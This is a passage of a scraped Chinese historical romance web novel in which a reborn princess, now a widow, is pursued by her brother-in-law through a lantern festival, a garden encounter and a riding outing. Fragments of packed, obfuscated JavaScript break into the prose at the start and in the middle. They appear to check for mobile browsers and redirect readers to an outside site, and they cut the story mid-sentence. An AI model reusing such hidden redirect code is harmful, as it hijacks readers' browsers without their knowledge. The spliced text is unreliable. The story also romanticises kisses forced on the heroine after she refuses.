l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182683|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,郑淮序将她沉默当作抗拒,脚下逼近一步,在黑暗中精准地捕捉到她的唇,不管不顾地吻了下来。 和郑淮舟的攻城略地不同,郑淮序的吻如细水长流,缓慢游移,轻柔舔舐,将那无法宣之于口的倾慕与渴望,尽数宣泄而出。 他吻得毫无章法,甚至略显狼狈,却蕴着摧枯拉朽的力量,击溃她本就摇摇欲坠的理智防线。 于是,她忘记了此刻的身份,脑海中全然是他的真情告白,微微启唇,试探地回应了一瞬。 他察觉了这微小的屈服,喉间溢出一声极低的喟叹,力度骤然加重,探索变得缠绵深入,交缠间,是压抑已久后的疯狂索取,亦是失而复得般的极致珍重。 不知何时,她已仰起脖颈,颤抖的指尖攀上他的肩背,双脚几乎站不住,可始终未曾将他推开。 就在一切滑向失控边缘时—— “令言?你歇下了吗?”国公夫人温和的声音由远及近。 李妙仪猛然惊醒,睁大双眼,下意识推拒。郑淮序反应更快,瞬间松开她的唇,却仍紧搂着她,疾步退向内室深处。 脚步声渐近,灯笼的光晕透过门上绢纱,隐隐约约晃了进来。 他将她推进书架与墙壁间的窄隙,侧身挤入,双臂撑于她身侧,将她囚于这一方幽仄天地。 窄隙里空气稀薄,两人的体温却透过衣衫彼此渗透。她心跳如鼓,不敢出声,既惧怕被婆母察觉,又因这密不透风的贴近而心乱如麻。 门外静默片刻,许是见灯灭了,国公夫人终是转身离去。 就在此时,郑淮序抚上她的脸颊,沉默俯身,再度深深吻下。不同于之前的温柔试探,这一次像在品尝,又像在标记。 李妙仪被他这大胆的举动吓得魂飞魄散,一双水眸颤巍巍的,连连推拒。 “唔……”一声极轻的呜咽还是漏了出来。 她慌忙咬住下唇,眼中泛起湿漉漉的水光,在黑暗里微微闪动。 他稍稍退开毫厘,鼻尖轻蹭她的,灼热的气息交织:“出声也没关系。” 可这安慰更像是诱哄。 因为他随即低头,轻嗅她肩头乌发,以气音低语:“你好香。” 所有的理智都在蒸腾,只剩肌肤相亲处燃起的燎原之火。她死死咬住下唇,才将那一声声轻喘压回喉间。 脚步声渐远,灯笼的光最终消逝于回廊尽头,四下重归寂静。 紧绷的神经骤然松懈,后怕与怒意翻涌而上,她抬手狠狠砸向他的肩:“你疯了?!” “从意识到对你动了不该动的心那日起,我便已疯了。”郑淮序不闪不避,嘴角扬起一抹自嘲,“今夜,不过是将这疯狂彻底兑现。” 她心头酸涩,别过脸去,不愿再看他。 “今夜冒犯,若嫂嫂觉得受辱,明日我便向母亲请命,自请去北境驻守,非诏不归。” 言罢,他最后凝望她一眼,踉跄转身,推开书房门离去。门轻轻合上,将满室未散的暧昧与悸动,尽数锁在其中。 李妙仪浑身脱力,顺着墙壁滑坐到地上,指尖轻抚唇瓣,那里,仍烙印着他滚烫的温度。 她,该如何是好? 23. 花灯 那夜之后,郑淮序并未如他所言自请离京。他依旧早出晚归,处理公务;她也如常打理内宅,侍奉公婆。府中相遇,他仍会颔首,唤一声“嫂嫂”,礼数周全,分寸得当。 可李妙仪心知,那不再是往日刻意维持的疏远,而是一种蛰伏于平静之下的波涛汹涌。 正月十二,府中开始为上元节放灯祭告世子做准备。 花厅里摆开一张长桌,竹篾、彩纸、浆糊、细绳铺了满桌。三郎郑淮礼、四郎郑淮信与妹妹郑华琬早早围坐,叽叽喳喳讨论着要做什么样的灯。 李妙仪来迟一步,见众人兴致颇高,唇角也不由浮起一点笑意。 “嫂嫂快看,我要做一盏鲤鱼灯!”郑华琬举起刚编好的竹架,献宝似地递过来。 李妙仪接过,见那竹篾弯得匀称,扎口也牢,真心赞道:“琬琬手真巧。” “嫂嫂也做一盏吗?”郑淮礼抬头问,手里的龙灯骨架已见雏形。 李妙仪却有些踌躇,前世宫中过节,自有尚宫局精心准备各式华灯,何曾需要自己动手?重生后虽是崔令言,但崔家小姐想必也是十指不沾阳春水,这些民间手艺,她着实陌生。 郑淮信见她神色,心知肚明道:“嫂嫂别担心,简单得很,我们教你。” 李妙仪点点头,在空位坐下,又拣了几根竹篾,学着郑华琬方才的样子弯折。可手上力道总是不对,不是折断了,便是弯歪了,试了几回,连个最简单的方形底架都没做成。 郑华琬凑过来瞧,噗嗤笑出声:“嫂嫂,你这底架怎么一边高一边低呀?” 李妙仪脸颊微热,看着手中不成形的竹架,有些懊恼。她向来学东西快,骑马射箭、琴棋书画,乃至朝政时局,都不在话下,如今竟被这小小竹篾难住了。 “我来吧。”低沉的嗓音自门口传来。 李妙仪指尖一颤,未抬头,便知是谁。 郑淮序迈步进来,他今日穿了件靛青长袍,外罩墨色披风,许是刚从外头回来,发梢肩头沾着未化的细雪。 “二哥!”郑华琬欢呼道,“你快来教教嫂嫂,她做的灯架……嗯,很是别致。” 郑淮序走到李妙仪身侧,看着她手中歪斜的竹架,眼底似有极淡的笑意掠过。 李妙仪更觉窘迫,正想将那失败品藏起,他却已伸手接过。 “竹篾需先用水浸软,折时力道要匀,顺着纹理。”他一边说,一边利落地拆开她扎错的细绳,将那几根竹篾重新弯折、固定。不过几下,一个端正匀称的方形底架便成了。 他将修好的底架放回她面前,又取来新的竹篾:“试试。” 李妙仪依言接过,学着他的样子,先将竹篾在温水中浸了浸,擦干后,小心弯折,这回果然顺手许多。 郑淮序就站在她身侧半步远的地方,并未挨近,却存在感十足。 “这里,要再压一点。”他手指虚虚点了点她正弯折的位置。 李妙仪依言调整。 一个简单的框架终于完成,虽不如他那般完美,却也像模像样。李妙仪松了口气,抬眼时,正撞上他看过来的目光。 那目光专注而沉静,只一瞬,他便移开视线,转向弟妹们:“你们做的如何了?” “我的鲤鱼快好了!”郑华琬得意道。 郑淮礼举起那盏龙灯:“二哥看,这鳞片如何?” “形有了,糊纸时注意褶皱要自然。”郑淮序走过去指点。 李妙仪垂下眼,继续手上的活计。她选了浅碧的素纸,准备做一盏简单的圆灯。糊纸时需格外小心,既要平整,又不能撕破。她屏息凝神,一点点将纸覆在竹架上,用浆糊黏合。 正专心时,一只手忽然从旁伸来,扶住了竹架另一端。 “这里有些翘起。”郑淮序不知何时又回到了她身侧,指腹轻轻按压竹架边缘,将未粘牢的纸抚平。 他的手指修长,骨节分明,因常年习武握剑,指腹有薄茧。此刻隔着薄薄的彩纸,触到她的指尖。 弟妹们都在不远处说笑,无人注意这边,可这般的贴近,实在太过危险。她微微侧身,想拉开些距离。 他却似未觉,继续帮她调整了几处,直到那灯面光滑平整。收回手时,袖角若有若无擦过她的腕间。 “多谢。”她低声道。 接下来几日,众人常在花厅一起做灯。郑淮序若在府中,总会顺道过来看看。他话不多,指点却总在关键处。李妙仪从最初的生疏,渐渐熟练起来,甚至能独立做出一盏规整的六角宫灯。 正月十四,花灯已做得七七八八。李妙仪在灯面上题了字:愿得此身长报国,何须生入玉门关。 郑华琬见了,眼圈又有些红,吸吸鼻子:“大哥一定喜欢。” 闻言,李妙仪轻轻拍了拍她的手。 郑淮序一直沉默地坐在靠窗的位置,手里拿着竹篾和彩纸,不知在做什么。他神情专注,侧脸线条在冬日稀薄的日光里显得格外清晰。 半晌,他停下动作,将手中之物递向李妙仪。 那是一盏老虎灯,竹骨扎得威风凛凛,糊了明黄的纸,用墨笔勾出斑斓纹路,虎目圆睁,额上“王”字分明,栩栩如生。 李妙仪怔怔接过,心中五味杂陈。 “去年上元,你在街市买过一盏这样的灯。”郑淮序仿佛在说一件再寻常不过的事,“应是十分喜欢。” 郑华琬“呀”了一声:“二哥哥好偏心,只给嫂嫂做,我们都没有!” 郑淮礼和郑淮信也起哄:“就是,二哥偏心!” 郑淮序神色不变,只道:“都有。” 接下来一个时辰,他便坐在那里,又扎了一盏虾灯、一盏蟹灯、一盏狮子灯。动作熟稔,显然不是第一次做这些。 做好的灯分了出去,弟妹们这才喜笑颜开,捧着各自的灯互相比较。 国公夫人这时走了进来,见满桌花灯,孩子们笑闹,连日来眉宇间的沉郁也散了些许。她目光扫过众人,最后落在李妙仪手中的老虎灯上,微微一顿,又看向郑淮序。 郑淮序起身行礼:“母亲。” “嗯。”国公夫人 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郑家人在河边设了简单香案,焚香祭告。一盏盏河灯被放入水中,载着数不尽的敬意与哀思,缓缓流向远处。 祭告结束,天色将暮,华灯初上。 郑淮序领着众人前往盛京最繁华的朱雀大街看千灯会。长街两侧楼阁悬灯,树上结彩,各式花灯争奇斗艳:走马灯转出山水人物,琉璃灯映出七彩光华,绢灯上绘着才子佳人,鱼龙灯蜿蜒游动……烛火煌煌,映亮半边夜空。 人流如织,笑语喧哗。小贩叫卖着糖人、面具、花炮,孩童举着风车灯笼穿梭奔跑。 长兄新丧,郑家众人衣着仍素,但国公夫人坚持让李妙仪穿了那件新做的杏色折枝梅纹袄子,戴了副精巧的闹娥衔珠头面。走在灯火下,衣领处一圈雪白的风毛衬得她面容清丽,眼眸被灯火映亮。 郑淮礼和郑淮信到底是少年心性,很快被街边杂耍吸引,拉着郑华琬挤过去看。郑淮序示意两个护卫跟上去,自己则放缓脚步,与李妙仪落在后面。 两人并肩而行,隔着恰到好处的距离,在熙攘人潮中,自成一方安静天地。 李妙仪看着前方弟妹们兴奋的背影,看着周围携手同游的夫妻,笑语盈盈的家人,心头忽然涌上淡淡的艳羡。 皇室亲情,大多掺着权位的考量。父皇子女众多,她虽得宠,却也需时时揣度圣心。与先皇后所出的太子并不亲近,与其他兄弟姐妹更是泛泛。真正让她感到亲情暖意的,唯有母后与一母同胞的三皇兄。 而母后如今病重深宫,三皇兄自她“死后”,不知该是如何伤心。每年节日母后特意为他们兄妹准备的小宴,往后怕是再也没有了。 眼眶微热,她忙垂下眼。 身旁的人却忽然停下脚步。 李妙仪抬眸,见郑淮序正看着她。灯火明灭,在他脸上投下深深浅浅的影。他什么也没问,只是静默片刻,道:“风大了,回去吧。” 24. 执拗 回到国公府,府中也已备好家宴。虽不似外头宴席喧闹,却处处透着细致用心。廊下悬着这几日众人亲手扎的花灯,庭中那株老梅树上缀满小巧绢灯,灯火温润,别有一番静谧温馨。 桌上汤圆热气袅袅,有芝麻、花生、豆沙诸馅。郑华琬夹起一只,吹了吹便咬开,眼中一亮:“是桂花糖馅!我最爱这个!” “慢些吃。”国公夫人轻抚她发顶,笑道,“早知你馋这口,特意让厨房备的。” 郑淮礼则指着另一碗:“这汤圆怎么是咸的?” “那是鲜肉馅,你二哥爱吃。” 郑淮序“嗯”了一声,舀起一颗。 李妙仪默默看着,这些细微处的记得与关照,是郑家独有的温暖。她碗中是芝麻馅,甜而不腻,热气氤氲,吃下去,连心口都暖了起来。 用过汤圆,撤去碗碟,摆上瓜果茶点。郑淮信提议猜灯谜,廊下每盏灯下都悬了谜笺,是早先备好的。 郑华琬抢着猜了几个简单的,得了一支珠花作彩头,欢喜得直跳。 郑淮礼不服,专挑难的猜,连破三题,赢得一方砚台。 轮到李妙仪时,众人便笑着起哄:“嫂嫂是盛京第一才女,定要猜最难的才行。” 李妙仪也不推辞,随手取下一张谜笺,轻声念道:“‘一边绿,一边红,一边喜雨,一边喜风。’打一字。” 郑淮信挠头:“这……绿和红,雨和风……” 李妙仪微微一笑:“是‘秋’字。禾苗绿喜雨,火红喜风,禾与火合为秋。” “妙啊!”郑淮礼击掌。 随后几题,李妙仪皆从容答出。郑淮礼诗兴愈浓,专挑生僻谜面与她切磋,两人你追我赶,竟对了十数回合。最终,李妙仪以一谜险胜。 郑淮礼拱手一揖,心悦诚服:“嫂嫂才思敏捷,小弟甘拜下风。” 另两人也连声笑赞:“嫂嫂不愧盛京第一才女之名。” 李妙仪被夸得有些赧然,唇角弯起浅浅的弧度。前世宫中宴饮,猜谜行令本是常事,可似这般轻松较技,只为取乐,不为输赢面子的气氛,却是少有。 郑淮序手中把玩着一只茶盏,目光却静静落在她身上。看她解题时眸光清亮,神采飞扬;看她被弟妹夸奖时,颊边浮现的淡粉;看她笑时,眼角微微弯起的弧度。 那样的神采,那样的傲气,与记忆中的身影,渐渐重叠。 这世间,当真会有如此相像的两个人么? 正此时,外头忽然响起爆竹声,焰火升空,在墨蓝天幕绽开漫天华彩。 众人忙起身走到廊下仰首观望,姹紫嫣红的光影明明灭灭,映亮每一张仰起的脸庞。 李妙仪亦举目望去,有片刻失神。前世看过无数盛大焰火,却从未似此刻这般,真切地觉得自己正活在这人间热闹里。 宴散之时,已近亥时。 青鸾今日告假归家,李妙仪便独自提着那盏老虎灯,沿着回廊缓缓往院子走去。夜色已深,府中大多灯火已熄,只余廊下几盏风灯晕开朦胧的光。她走得慢,心中仍萦绕着这一日的暖意与欢愉,以及那缕挥之不去的淡淡怅惘。 沉稳而熟悉的脚步声自身后传来。 她没有回头,他便也不唤她,只不紧不慢地走,直到与她并肩。 廊下风灯晃了晃,他伸手,自然接过她手中那盏略显沉重的老虎灯。 “我自己提得动。”她垂眼。 “灯杆有毛刺,仔细扎手。”他语气平淡。 她便不再争,两道人影在青石板上拉得又长又瘦,时而交叠,时而错开。风过回廊,灯笼里的烛焰微微一颤,像她此刻,不知为何跳了一下的心。 行至花园月洞门前,郑淮序忽然脚步一偏,牵住了她的手腕。 李妙仪一惊:“你做什么?” “随我来。”他不由分说,牵着她便往园中走去。 她心跳骤急,试图挣脱。他却握得更紧,力道不容抗拒,牵着她沿小径疾行。 园中树石影影绰绰,月光被枝叶割碎,洒下斑驳银辉。李妙仪被他拉着,跌跌撞撞,心中又慌又乱。 这人怎能如此大胆!若此时有巡夜的婆子经过,那真是怎样也说不清了。 直至花园深处一座假山旁,他才停下。此处僻静,离主路已远,唯闻风过竹梢的沙沙声,与远处隐约的更梆。 郑淮序松了手,却仍挡在她身前。月色稀薄,假山投下浓重阴影,将他大半身形隐匿其中,只余一双眼在幽暗里亮得灼人,牢牢锁住她。 “你到底想怎样?”她抬眼瞪他,气息未平,“深更半夜,拉我来此,有何事不能明日再说?” 郑淮序不答,自怀中取出一物,递到她面前。 是一枚玉佩。 羊脂白玉,莹润无瑕,雕作双鱼衔环之式,鱼身线条流畅,环扣精巧玲珑。更难得的是,玉中天然沁着一缕极淡的烟紫,在月光下流转如霞。 李妙仪是识玉之人,这玉佩不仅价值不菲,更绝非临时可备之物。 “这是何意?”她未接。 “给你的上元赠礼。” “我不需要。”李妙仪侧过脸,“于礼不合。” “我赠嫂嫂节礼,有何不合?”他反问,语气仍淡,却透着执意。 李妙仪抿唇不语。 郑淮序不再多言,上前一步,径自将玉佩系在她腰间丝绦上。他动作极快,指尖掠过她腰侧时,温热的触感隔着衣料传来。 “你……”她伸手欲解。 “别摘。”他再度握住她手腕,这次将她的双手轻轻拢住,固定在身侧。 四目相对,他眼底深藏的执念,像潮水漫过堤岸,无声将她裹住。那玉佩所承之意,沉甸甸地压在她腰间,也压在她心上。 李妙仪心乱如麻,尚未想好如何应对,却听他再度开口:“我的呢?” 她一怔:“什么?” “赠礼。”他望着她,语气理所当然,“嫂嫂不曾为我准备么?” 她几乎被他气笑:“我为何要为你准备?” “那便以罗帕相抵。”他说得云淡风轻,朝她伸出手,“你身上带的那方。” 李妙仪下意识按住袖袋,确实随身带一方素帕,月白底,绣一枝兰草,是年前亲手绣的。可他怎么知道?< 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“郑淮序,你听清楚。”她强迫自己镇定,抬眸直视他,“我是你嫂嫂,这是无法改变的事实。你那些心思,趁早断了。从今往后,不得再擅自靠近我,不得再有逾矩之举,更不得……不得再如那夜那般。” 她顿了顿,字字清晰:“凡我不愿的事,你一概不能对我做。” 他似是听了,又似全然未入耳,只在她话音落下的刹那,极轻地反问:“说完了?” 李妙仪抿唇颔首。 “嫂嫂教训的是。”他语气甚至称得上温顺,视线却顺着她的颊边,缓缓移向她的唇。 李妙仪察觉不妙,脑中警铃乍响,正要后退,他却已俯身,极快地在她的脸颊上啄了一吻。 那一声轻响,在寂静的夜里格外清晰,也格外惊心。 李妙仪脑中一片空白,被他触过的肌肤,宛如溅上火星,瞬间燎原。 郑淮序却似犹未足,喉间逸出一声低笑,再度俯首,又在她脸上轻轻一啄。 这一次,停留了一霎。温软的触感,清冽的气息,如烙印般深刻。 李妙仪猛地抬手捂着发烫的脸颊,睁大双眼,不可置信地望向他。 郑淮序退开半步,好整以暇地看着她震惊失措的模样,眼底掠过一丝得逞般的微光,仿佛在说:你看,你还能说什么规矩礼法?那些束缚,此刻在我面前,算得了什么? “你……你……”李妙仪脸颊滚烫得快要烧起来,喉间似被什么堵住,半晌吐不出完整的句子。 她终于回过神来,几乎是踉跄着向后退去,转身头也不回地逃离了花园。脚步慌乱,几次险些绊倒,手中那盏老虎灯,早已不知何时落在地上。 郑淮序独自立在原处,望着她仓皇远去的背影,唇边笑意渐渐敛去。 他弯身拾起那盏老虎灯,灯面已沾了尘灰,虎目在月光下依旧炯炯。他用衣袖轻轻拭净,握在手中。 静立良久,他才低低一叹,将灯仔细置于假山石上,转身离去。 月色寂寂,照着那盏孤零零的老虎灯,与一地凌乱的履痕。 25. 疑窦 上元夜仓皇逃回院落后,那枚双鱼衔环玉佩便被李妙仪收进妆匣最底层,罗帕也未能取回。 年节的热闹如潮水般退去,接连好几日,李妙仪放任自己睡到日上三竿才起。那些纷乱难言的心绪,似乎都被暂时锁进梦里。 郑华琬到底年纪小,孩子心性,早已按捺不住学骑马的念想。自过了元宵,便三番五次蹭到母亲跟前,扯着国公夫人的衣袖软语央求,杏眼里满是渴望。 适逢郑淮序旬日休沐,国公夫人被小女儿缠得无奈,又见连日晴好,终于难得松口,只细细嘱咐郑淮序务必仔细看顾,万不可有闪失。 这些日子,李妙仪见到郑淮序总是刻意避开。如今被兴冲冲的郑华琬央求同去,她本欲推辞,可对上小姑娘那双盛满期盼的眼眸,心头一软,终究还是应下了。 也罢,光天化日,众目睽睽,他总不至于如何。 正月廿二,一行人乘着马车,辘辘驶往京郊的跑马场。 约莫一个时辰,马车缓缓停下。马场依山傍水,占地极广,一眼望不到边际。远处山峦起伏,覆着未化的薄雪;近处是开阔的草场,虽因时节未至而呈现枯黄色,但已能嗅到泥土苏醒的气息。场边建有数座暖阁与马厩,仆役穿梭其中,皆是训练有素的模样。 郑淮序显然是常客,刚下马便有管事迎上来,恭敬行礼:“二爷来了。今日天儿好,几位公子小姐也来了,正在西场赛马呢。” “不必惊动他们。”郑淮序摆手,“拣几匹温驯的,我带家人走走。” 管事应声下去安排,不多时,几名马夫便牵来五六匹骏马。 “琬琬,来。”郑淮礼翻身跃上那匹枣红马,随即俯身将妹妹抱上小白马,“三哥先带你跑一圈,尝尝风驰电掣的滋味。” 他一手控着自己的缰绳,另一手牵着小白马的辔头,由慢走渐至小跑。 郑华琬紧紧抓着鞍鞯,但很快,速度带来的新奇与快意征服了她,银铃般的笑声洒了一路,在空旷的草场上回荡:“三哥,再快些,像飞一样!” 郑淮信骑术亦佳,自己挑了匹黑马,不远不近地跟着,时刻护在妹妹侧后方,温声提醒:“琬琬,身子坐直,脚踩稳马镫。” 李妙仪站在场边,望着少年们纵马扬鞭的身影,唇边浮起一丝浅淡笑意,却也难免落寞。 前世,她可是能在马球场与男子一争高下的安阳公主。她的爱驹“追云”,通体雪白,唯有四蹄如墨,奔驰起来宛如踏云而行。它曾陪她踏过春草,掠过秋风,更在围猎场上一箭惊鸿。 那些酣畅淋漓的记忆,如今想来竟恍如隔世。 眼下这具崔令言的身子,经数月悉心调养已好了许多,面色渐见红润,畏寒之症也减轻不少。但终是闺阁娇养出的底子,纤细羸弱。莫说驰骋,便是骑马快行几步,只怕也要惹来非议,落个失仪之名。 她看得出神,眸中那缕怅然如水面涟漪,一闪而过,又迅速被得体的平静掩去。 “嫂嫂。” 郑淮序已走到她身侧。他今日一身窄袖骑装,外罩墨青翻毛披风,腰束革带,更衬得肩宽腿长、挺拔利落。阳光落在他棱角分明的侧脸上,投下一片深邃的阴影。 李妙仪心头一跳,屈膝行礼:“二郎。” 郑淮序抬手示意,一名身着褐色短打、面容敦厚的妇人快步上前,恭敬行礼。 “这位是我嫂嫂。”郑淮序对那妇人道,“她未曾习过骑术,拣一匹最温顺的母马,带她慢慢走几圈。务必护得周全,不可有半分差池。” 妇人应是马场专司教导女客的骑师,闻言又行一礼,语气恭敬:“二爷、少夫人请放心,奴婢姓赵,在这马场做了十几年,带过的夫人小姐没有一百也有八十,定会小心伺候。” 李妙仪微觉意外。她以为今日只是陪琬琬来,自己最多在场边看看。心绪一时纷乱,有被他看破心事的窘迫,也有对骑马隐隐的期待。 赵骑师牵来一匹栗色母马。这马儿果然温顺,见人靠近,不仅不躲,反而主动凑过来,用柔软的鼻头轻触李妙仪的手心,乌溜溜的大眼睛里映出她的身影。 “少夫人请看,这是匹七岁口的母马,名唤‘赤霞’,性子最是温和,步态也稳。”赵骑师熟练地抚摸着马颈,“您且放宽心,奴婢牵着它,咱们慢慢走。” 李妙仪在她的搀扶下,故作生疏地踩镫上马。她刻意放慢了动作,一手抓着鞍环,一手扶着马颈,颤巍巍地跨坐上去,俨然是个新手。 鞍座硬实,马身晃动,她不由攥紧了鞍环。不适是真,心底蠢蠢欲动的熟悉感却更真实。 “少夫人放松,背挺直,目视前方。”赵骑师牵着缰绳,让马儿缓缓迈步,“对,就这样,随着马的节奏轻轻起伏,莫要僵着身子与它对抗。” 赤霞的步伐果然稳健,不疾不徐。李妙仪渐渐松开紧绷的肩背,视野因身处马背而骤然开阔,远山、草场、暖阁,乃至天际盘旋的鹰隼,都一览无余。她不自觉肩胛微收,脚跟下压,腰腹轻轻用力,保持着一个经年骑者才有的的姿态。 赵骑师略感诧异,回头看了她一眼。这位少夫人方才上马时还显得生涩紧张,不过走了一圈,身姿竟已如此端正自然?她压下心头疑惑,只当她天资聪颖,学得快。 “少夫人适应得真好。”赵骑师笑着夸赞,“咱们稍稍快些可好?还是小跑,奴婢牵着,您莫怕。” 李妙仪轻轻点头。 赵骑师轻叱一声,步伐加快。赤霞会意,从慢走转为轻快的小跑。风骤然猛烈起来,掠过耳畔,扬起她鬓边碎发,裙裾在身后猎猎飞扬。 李妙仪低低轻呼一声,似是惊慌,随即,一种久违的、脱离地面束缚的感觉,如藤蔓般顺着脊椎攀爬而上,悄然复苏。 她忘了矜持,忘了身份,甚至忘了场边 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郑淮序走了过来,看了眼天色,对两个弟弟道:“你们先带琬琬去暖阁歇歇,用些茶点。她初次骑马,不宜太久,仔细明日腿酸。” 三郎四郎应下,哄着意犹未尽、还想再骑的妹妹往暖阁去了。 待他们走远,郑淮序才对赵骑师道:“你且退下吧。” 赵骑师躬身应是,将赤霞的缰绳递到郑淮序手中,快步离去。 场边一时只剩下他们二人,一坐一立,中间隔着一匹温顺的栗色马。风掠过草场,掀起细微的尘土,却吹不散此刻几乎凝滞的沉寂。 李妙仪犹自沉浸于方才纵马的余韵,面颊因兴奋而泛着健康的红晕。见他走近,便诚心道:“多谢二郎安排,赤霞很温顺,赵师傅也周到。” 郑淮序未应声,只深深看她一眼。那眼神复杂难辨,有探究,更有几乎压不住的灼热。他一手抓住马鞍前桥,足尖轻点马镫,利落翻身上马,稳稳落在她身后。 马背随之下沉,她整个人因这突如其来的重量向后跌去,脊背结结实实撞进他怀中。 “啊!”李妙仪短促惊呼,下意识抓住鞍环。 他的手臂从她身侧环过,不由分说握紧缰绳。胸膛紧贴她的背脊,隔着层层衣物,也能感觉到那坚实有力的起伏。 “坐稳。”未等她挣扎或质问,他已轻夹马腹,低叱一声:“驾!” 赤霞扬蹄疾驰,速度远胜方才赵骑师牵着的小跑。风凌厉扑在脸上,草场在眼前飞速后退,化作模糊的色块,耳畔只剩下呼啸的风声与急促的马蹄声。 “郑淮序!停下!”她惊慌失措,想夺过缰绳,手刚抬起便被他牢牢握住;想掰开他环在腰间的手臂,那臂膀却如铁箍般纹丝不动,甚至收得更紧了些。 “别怕。”他的声音混在风里,响在她耳畔,“我在这儿,不会让你摔着。难得出来一回,莫要顾虑太多。” 26. 侵蚀 李妙仪挣扎的动作,渐渐停了。 眼前是飞速倒退的旷野,头顶是广袤无垠的蓝天,那些所谓的规矩礼法、身份桎梏、前尘往事,全都被这疾风抛在身后。 心脏狂跳,不知是因为惶恐,还是因为这失而复得的酣畅。她微微仰起头,闭上了眼睛,任由发丝在风中起舞,感受着风掠过肌肤的凉意。 郑淮序察觉到怀中人的变化。她飞扬的发丝拂过他的脸颊,浅浅淡的馨香萦绕鼻尖,如同最柔软的绳索,缚住了他的心神。 此刻,他什么都不愿想,只想带着她,逃离一切束缚,哪怕只是这短暂的一程。 马儿熟稔地窜入马场边缘的林地。林间小路蜿蜒,两侧是参天的乔木与低矮的灌木丛,虽在冬季时分,枝叶凋零,但枝干虬结,仍显出一片幽深。 马蹄踏在厚厚的落叶与软泥上,发出清脆悦耳的声响,速度也慢成了富有节奏的小跑。 方才疾驰的激昂慢慢平息,另一种微妙的氛围,在密闭的林间悄然弥漫,比之前更加浓稠。 李妙仪的心跳依旧很快,却已换了缘由。后背紧贴的胸膛坚实滚烫,环在腰间的手臂存在感强得惊人。他的呼吸拂过耳廓,带来一阵阵细密战栗,顺着脊柱往下蔓延。 “郑淮序,今日多谢你。”她轻声道,试图打破这令人心慌的沉默,“我确实很久没有这样痛快过了。” 李妙仪自幼散漫惯了,宫廷礼法束缚不了她,真正安分守己的时刻寥寥无几。可自从成了这崔令言,被困在这“盛京第一才女”的躯壳与身份里,一身棱角几乎快被磨平。 大雍朝风气的确开明,女子可读书、可出游,可这份“自由”之上,仍悬着千钧重的期望与规矩。多数女子的天地,终究是庭院深深,连叹一口气都需合乎仪节。 她野性的灵魂因这切身的束缚而感到刺痛,也由此生出一种深刻的怜惜。不仅对崔令言,也对无数个被温柔教化、被无形之墙围困的她们。 身后的男人并未应声,只将下巴轻轻搁在她肩窝,脸颊贴着她鬓边碎发。这是一个透着依赖与亲昵的姿势,眷恋与占有,皆在其中无声流转。 林间寂静,只剩嗒嗒的马蹄声,风吹过枯枝的呜咽,以及彼此交织的急促呼吸。谁也不敢再开口,生怕打破这份脆弱的的宁静。 马儿信步由缰,来到一株苍天古树下。树干粗壮,需数人方能合抱,枝桠遒劲地伸向天空,虽在冬季叶片落尽,但可以想见春夏时节,必定是亭亭如盖、绿荫匝地。 郑淮序揽着她的腰,不知如何动作,李妙仪只觉腰间一紧,身体一轻,竟被他带着,足尖轻点马鞍,借力腾空而起。 “啊——”短促惊呼被她自己咽了回去。 天旋地转之间,视野颠倒,等她反应过来,发现自己已落在古树一根粗壮的横枝上。枝干离地约一丈高,堪堪能承受两人的重量。而她,正被郑淮序抱坐在怀中,双腿悬空,完全陷入他的气息与掌控之中。 李妙仪惊魂未定,转头瞪他,却猝不及防撞进一双温柔的眼眸。 “这里视野更好。”郑淮序手臂环紧她的腰,将她牢牢固定在怀中。 她依着他示意的方向望去,从这个高度,确实可见马场开阔的草场,远处山峦的轮廓也更为清晰绵延。阳光毫无遮挡地洒落,带来融融暖意。 可悬在这高处,脚下空荡荡无所凭依,她哪真能看进去半分风景?只得将全身重量交付于他,而这彻底的依赖让她心慌意乱。 她试图挺直脊背,拉开一丝微不足道的距离。可突然间,枝头剧烈地晃荡了一下,吓得她一动不敢动,生怕稍有不慎便会摔下去。 郑淮序显然也察觉到了,安抚地圈紧了她,却忽然在她耳边低语:“听兄长说,嫂嫂从前,连府中那座临水的二层回廊都不愿独自上去,说是晕高?” 李妙仪身体微僵,这不是闲谈,是试探。 他的目光如影随形,始终锁着她侧脸的轮廓,不放过任何一丝细微的表情变化,继续道:“我还记得,嫂嫂刚嫁入府中那些时日,沉静温婉,行止言语皆恪守闺仪,与如今相比,似乎大有不同。” “二郎观察得倒仔细。”她轻笑了一下,目光投向远方,“人岂会一成不变?从前在崔家,一举一动皆有嬷嬷看着,皆在闺范框缚之中,自然处处谨慎。况且经历了许多事,若还像刚出阁时那般懵懂,反倒不合时宜了。人总是要学着改变的,不是吗?” 话音落下,寂静再度蔓延。但这沉默里翻滚着无声的惊涛,远比言语更令人心慌。空气凝滞,只剩浮光在光影中颤动,以及彼此越来越清晰的心跳声。 她再也受不了这极致尴尬与危险的处境,急促道:“放我下去,郑淮序!莫再胡闹了!” “别动,”他手臂猛地收紧,声音沙哑,“让我静一静。” 李妙仪顿时不敢再挣,只能死死盯着远处山峦朦胧的淡青色轮廓,脸颊上的热意却不受控制地蔓延开,一直烧到耳根。 时间在煎熬中缓慢流逝。他紊乱的呼吸渐渐平复了一些,但身体的紧绷却丝毫未减。怀中温软的触感如此真切,反成了更磨人的煎熬。 这无人窥见的林间一隅,像一剂催化药,引燃了那些被他苦苦压抑在心底、却早已疯狂滋长的情愫。 他忽然想起,书房那日,她颈侧露出的那一抹红;那间他曾踏入的卧房,甜暖的气息忽然有了形状。 大哥与她,也曾这般亲密无间吧? 下人们偶然的低语在耳边回响: “世子待少夫人真是捧在手心里疼,但凡在家,用膳都要陪着。” “就没见世子对少夫人说过一句重话,那眼神温柔得能滴出水来。” “两人常一同在内室书房,一待就是半日,门窗紧闭的,也不知在说什么体己话……” 那该是什么光景? 大哥大概常这样拥着她立在窗前,手臂环过她的腰,看院中那几棵枫树和乌桕,由绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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双脚踩实地面,李妙仪却双腿发软,一时无力推开。他静静抱了她片刻,手臂环得很紧,像在汲取最后一点温暖,也像在确认她的真实。 远处传来郑华琬欢快的呼唤声,穿透林间,也穿透了他们之间脆弱的结界。 郑淮序缓缓松开手臂,后退一步。他脸上已恢复了往日的沉稳,替她理了理鬓边乱发,拂去肩头尘土,动作温柔细致。 “他们寻来了。”他低声道,“今日之事……” 